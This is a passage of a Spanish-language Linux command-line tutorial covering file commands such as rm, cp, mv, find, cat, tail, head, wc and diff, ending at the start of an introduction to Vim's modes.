Eliminando archivos y carpetas usando el comando rm y rmdir

Puedes usar el comando rm para eliminar ambos archivos y carpetas no vacías.

🛑 Fíjate que deberías usar el argumento -f con cuidado ya que no te preguntará antes de eliminar un archivo. También, ten cuidado cuando ejecutas comandos rm en la carpeta root ya que podría resultar en eliminar archivos importantes de sistema.

Copiando archivos usando el comando cp

Para copiar archivos en Linux, usa el comando cp.

• Sintaxis para copiar archivos:cp source_file destination_of_file

Este comando copia un archivo llamado file1.txt a una nueva ubicación del archivo /home/adam/logs.

cp file1.txt /home/adam/logs

El comando cp también crea una copia de un archivo con el nombre provisto.

Este comando copia un archivo llamado file1.txt a otro archivo llamado file2.txt en la misma carpeta.

cp file1.txt file2.txt

Moviendo y renombrando archivos y carpetas usando el comando mv

El comando mv se usa para mover archivos y carpetas de una carpeta a otra.

Sintaxis para mover archivos: mv source_file destination_directory

Ejemplo: Mover un archivo llamado file1.txt a una carpeta llamada backup:

mv file1.txt backup/

Para mover una carpeta y sus contenidos:

mv dir1/ backup/

Renombrando archivos y carpetas en Linux también se hace con el comando mv.

Sintaxis para renombrar archivos: mv old_name new_name

Ejemplo: Renombrar un archivo de file1.txt a file2.txt:

mv file1.txt file2.txt

Renombrar una carpeta de dir1 a dir2:

mv dir1 dir2

4.4. Localizando archivos y carpetas usando el comando find

El comando find te permite buscar eficientemente archivos, carpetas, y un caracter y dispositivos de bloque.

Abajo está la sintaxis del comando find:

find /path/ -type f -name file-to-search

Donde,

• /path es la ruta donde el archivo se espera ser encontrado. Este es el punto de comienzo para buscar archivos. La ruta también pueder ser / o . el cual representa la raíz y la carpeta actual, respectivamente.
• -type representa los descriptores del archivo. Pueden ser cualquiera de lo de abajo: f – Archivo regular tales como archivos de texto, imágenes, y archivos ocultos. d – Carpeta. Estosson las carpetas bajo consideración. l – Enlace Simbólico. Los enlaces simbólicos apunta a archivos y son similares a atajos. c – Dispositivos de Caracteres. Archivos que se usan para acceder a dispositivos de carecteres se llaman archivos de dispositivo de caracter. Los drivers se comunican con dispositivos de caracteres enviando y recibiendo caracteres individuales (bytes, octetoss). Ejemplos incluyen teclados, tarjetas de sonido, y el ratón. b – Dispositivos de Bloque. Archivos que se usan para acceder a dispositivos de bloque se llaman archivos de dipositivos de bloque. Los drivers se comunican con dispositivos de bloque enviando y recibiendo bloques enteros de datos. Ejemplos incluyen USB y CD-ROM.
• -name es el nombre del tipo de archivo que quieres buscar.

Cómo buscar archivos por nombre o extensión

Supón que necesitamos encontrar archivos que contienen "style" en sus nombres. Usaremos este comando

find . -type f -name "style*"
#output
./style.css
./styles.css

Ahora digamos que queremos encontrar archivos con una extensión particular como .html. Modificaremos el comando así:

find . -type f -name "*.html"
# output
./services.html
./blob.html
./index.html

Cómo buscar archivos ocultos

Un punto al comienzo del nombre de archivo representa archivos ocultos. Son ocultos normalmente pero pueden ser vistos con ls -a en la carpeta actual.

Podemos modificar el comando find como se muestra abajo para buscar archivos ocultos:

find . -type f -name ".*"

Listar y encontrar archivos ocultos

ls -la
# contenido de las carpetas
total 5
drwxrwxr-x  2 zaira zaira 4096 Mar 26 14:17 .
drwxr-x--- 61 zaira zaira 4096 Mar 26 14:12 ..
-rw-rw-r--  1 zaira zaira    0 Mar 26 14:17 .bash_history
-rw-rw-r--  1 zaira zaira    0 Mar 26 14:17 .bash_logout
-rw-rw-r--  1 zaira zaira    0 Mar 26 14:17 .bashrc

find . -type f -name ".*"
# salida de find
./.bash_logout
./.bashrc
./.bash_history

Arriba puedes ver una lista de archivos ocultos en mi carpeta home.

Cómo buscar archivos log y archivos de configuración

Los archivos logs usualmente tienen la extensión .log, y podemos encontrarlos así:

 find . -type f -name "*.log"

De forma similar, podemos buscar archivos de configuración de esta forma:

 find . -type f -name "*.conf"

Cómo buscar otros archivos por tipo

Podemos buscarpor archivos de bloque de caracteres proveyendo c a -type:

find / -type c

De forma similar, podemos encontrar archivos de bloque de dispositivos usando b:

find / -type b

Cómo buscar carpetas

En el ejemplo de abajo, encontramos las carpetas usando el argumento -type d.

ls -l
# lista el contenido de las carpetas
drwxrwxr-x 2 zaira zaira 4096 Mar 26 14:22 hosts
-rw-rw-r-- 1 zaira zaira    0 Mar 26 14:23 hosts.txt
drwxrwxr-x 2 zaira zaira 4096 Mar 26 14:22 images
drwxrwxr-x 2 zaira zaira 4096 Mar 26 14:23 style
drwxrwxr-x 2 zaira zaira 4096 Mar 26 14:22 webp 

find . -type d 
# salida de find mostrando carpetas
.
./webp
./images
./style
./hosts

Cómo buscar archivos por tamaño

Un uso increíblemente útil del comando find es listar archivos basados en un tamaño particular.

find / -size +250M

Aquí, estamos listando archivos cuyos tamaños exceden los 250MB.

Otras unidades incluyen:

• G: GigaBytes.
• M: MegaBytes.
• K: KiloBytes
• c : bytes.

Sólo reemplaza con la unidad relevante.

find <directory> -type f -size +N<Unit Type>

Cómo buscar archivos por tiempo de modificación

Usando el argumento -mtime, puedes filtrar archivos y carpetas basado en el tiempo de modificación.

find /path -name "*.txt" -mtime -10

Por ejemplo,

• -mtime +10 significa que estás buscando un archivo que se modificó hace 10 días.
• -mtime -10 significa menos de 10 días.
• -mtime 10 si te salteas + o – significa exactamente 10 días.

4.5. Comandos Básicos para ver archivos

Concatena y muestra archivos usando el comando cat

El comando cat en Linux se usa para mostrar los contenidos de un archivo. También puede ser usado para concatenar y crear nuevos archivos.

Aquí está la sintaxis básica del comando cat:

cat [opciones] [archivo]

La forma más simple de usar cat es sin ninguna opción o argumento. Esto mostrará los contenidos del archivo en la terminal.

Por ejemplo, si quieres mostrar los contenidos de un archivo llamado file.txt, puedes usar el siguiente comando:

cat file.txt

Esto mostrará todos los contenidos del archivo en la termina de una sola vez.

Ver archivos de texto de forma interactiva usando less y more

Mientras que cat muestra todo el archivo de una sola vez, less y more te permite ver los contenidos de un archivo de forma interactiva. Esto es útil cuando quieres desplazarte a través de un archivo grande o buscar por contenido específico.

La sintaxis del comando less es:

less [opciones] [archivo]

El comando more es similar a less pero tiene menos características. Se usa para mostrar los contenidos de un archivo en una pantalla a la vez.

La sintaxis del comando more es:

more [opciones] [archivo]

Para ambos comandos, puedes usar el la barra de espacio para desplazarte a una página abajo, la tecla Enter para desplazarte una línea abajo, y la tecla q para salir del visualizador.

Para moverte hacia atrás puedes usar la tecla b, y para moverte hacia adelante puedes usar la tecla f.

Mostrando la última parte de los archivos usando tail

A veces podrías necesitar ver solo las últimas líneas de un archivo en vez de todo el archivo. El comando tail en Linux se usa para mostrar la última parte de un archivo.

Por ejemplo, tail file.txt mostrará las últimas 10 líneas del archivo file.txt por defecto.

Si quieres mostrar un número distinto de líneas, puedes usar la opción -n seguido del número de líneas que quieres mostrar.

# Muestra las últimas 50 líneas del archivo file.txt
tail -n 50 file.txt

💡Consejo: Otro uso de tail es su opción inmediata (-f). Esta opción te permite ver los contenidos de un archivo a medida que están siendo escritos. Esto es una utilidad útil para ver y monitorear archivos log en tiempo real.

Mostrar el comienzo de los archivos usando head

Así como tail muestra la última parte de un archivo, puedes usar el comando head en Linux para mostrar el inicio de un archivo.

Por ejemplo, head file.txt mostrará las 10 primera líneas del archivo file.txt por defecto.

Para cambiar el número de líneas mostradas, puedes usar la opción -n seguido del número de líneas que quieres mostrar.

Contando palabras, líneas, y caracteres usando wc

Puedes contar palabras, líneas y caracteres en un archivo usando el comando wc.

Por ejemplo, ejecutando wc syslog.log me dio la siguiente salida:

1669 9623 64367 syslog.log

En la salida de arriba,

• 1669 representa el número de líneas en el archivo syslog.log.
• 9623 representa el número de palabras en el archivo syslog.log.
• 64367 representa el número de caracteres en el archivo syslog.log.

Así que, el comando wc syslog.log contó 1669 líneas 9623 palabras, y 64367 caracteres en el archivo syslog.log.

Comparando archivo línea por línea usando diff

Comparando y encontrando diferencias entre dos archivos es una tarea común en Linux. Puedes comparar dos archivos justo en la línea de comandos usando el comando diff.

La sintaxis básica del comando diff es:

diff [opciones] archivo1 archivo2

Aquí hay dos archivos, hello.py y also-hello.py, que compararemos usando el comando diff:

# contenido de hello.py

def greet(name):
    return f"Hola, {name}!"

user = input("Ingresa tu nombre: ")
print(greet(user))
# contenido de also-hello.py

more also-hello.py
def greet(name):
    return fHola, {name}!

user = input(Ingresa tu nombre: )
print(greet(user))
print("¡Un placer en conocerte!")

1. Verifica si los archivos son similares o no.

diff -q hello.py also-hello.py
# Salida
Files hello.py and also-hello.py differ

2.   Ve cómo los archivos difieren. Para eso, puedes usar el argumento -u para ver una salida unificada:

diff -u hello.py also-hello.py
--- hello.py    2024-05-24 18:31:29.891690478 +0500
+++ also-hello.py    2024-05-24 18:32:17.207921795 +0500
@@ -3,4 +3,5 @@

 user = input(Ingresa tu nombre: )
 print(greet(user))
+print("Un placer en conocerte")

En la salida de arriba:

• --- hello.py 2024-05-24 18:31:29.891690478 +0500 indica el archivo siendo comparado y su marca de tiempo.
• +++ also-hello.py 2024-05-24 18:32:17.207921795 +0500 indica el otro archivo siendo comparado y su marca de tiempo.
• @@ -3,4 +3,5 @@ muestra los número de línea donde los cambios ocurren. En estecaos, indica que las líneas 3 a 4 en el archivo original ha cambiado a las líneas 3 a 5 en el archivo modificado.
• user = input(Ingresa tu nombre: ) es una línea del archivo original.
• print(greet(user)) es otra línea del archivo original.
• print("Un placer en conocerte") es la línea adicional en el archivo modificado.

3.   Para ver el diff en un formato lado a lado, puedes usar el argumento -y:

diff -y hello.py also-hello.py
# Salida
def greet(name):                        def greet(name):
    return fHola, {name}!                        return fHola, {name}!

user = input(Ingresa tu nombre: )                    user = input(Enter your name: )
print(greet(user))                        print(greet(user))
                                        >    print("Un placer en conocerte")

En la salida:

• Las líneas que están en ambos archivos se muestran lado a lado.
• Las líneas que son distintas se muestran con un símbolo > indicando que la línea está presente solamente en uno de los archivos.

Parte 5: Lo Esencial sobre Edición de Texto en Linux

Las habilidades de edición de texto usando la línea de comandos son una de las habilidades más cruciales en Linux. En esta sección, aprenderás cómo usar dos editores de textos populares en Linux: Vim y Nano.

Te sugiero que domines cualquier editor de texto de tu gusto y apegarte a él. Te ahorrará tiempo y te hará más productivo. Vim y nano son opciones seguras ya que están presentes en la mayoría de las distribuciones de Linux.

5.1. Dominando Vim: La Guía Completa

Introducción a Vim

Vim es una herramienta de edición de texto popular para la línea de comandos. Vim tiene sus ventajas: es poderoso, personalizable, y rápido. Aquí hay algunas razones de por qué deberías considerar aprender Vim:

• La mayoría de los servidores son accedidos a través de un CLI, así que en administración de sistemas, no es necesario que tengas los lujos de un GUI. Pero Vim te respalda – siempre estarás allí.
• Vim usa un enfoque centrado al teclado, ya que está diseñado para ser usado sin un ratón, lo cual puede acelerar significativamente las tareas de edición una vez que has aprendido los atajos de teclado. Esto también lo hace más rápido que las herramientas GUI.
• Algunas utilidades de Linux, por ejemplo edición de cron jobs, funcionan en el mismo formato de edición como Vim.
• Vim es apropiado para todos – usuarios principiantes y avanzados. Vim suporta búsquedas de cadena complejas, resaltación de búsquedas, y mucho más. A través de los plugins, Vim provee capacidades extendidas para los desarrolladores y administradores de sistema que incluyen completación de código, resaltación de sintaxis, gestión de archivos, control de versiones, y más.

Vim tiene dos variaciones: Vim (vim) y Vim pequeño (vi). Vim pequeño es una versión más pequeña de Vim que carece de algunas características de Vim.

Cómo comenzar usando vim

Comienza usando Vim con este comando:

vim your-file.txt

your-file.txt puede ser un nuevo archivo o un archivo existente que quieres editar.

Navegando con Vim: Dominando modos de movimiento y comando

A principios del CLI, los teclados no tenían teclas de flecha. Por lo tanto, la navegación se hacía usando el conjunto de teclas disponibles, hjkl siendo uno de ellos.

Siendo centrado al teclado, usando las teclas hjkl pueden acelerar inmensamente las tareas de edición de texto.

Nota: aunque las teclas de flecha funcionan bien totalmente, todavías puedes experimentar con las teclas hjkl para navegar. Algunas personas encuentran esta forma de navegar eficiente.

💡Consejo: Para recordar la secuencia de hjkl, usa esto: hang back, jump down, kick up, leap forward (quedarse atrás, saltar hacia abajo, patear, saltar hacia adelante).

Los tres modos de Vim

Necesitas conocer los 3 modos de operando de Vim y cómo cambiarlos. Las pulsaciones de teclas se comportan de forma distinta en cada modo de comando. Los tres modos son los siguientes:

1. Modo comando.
2. Modo edición.
3. Modo Visual.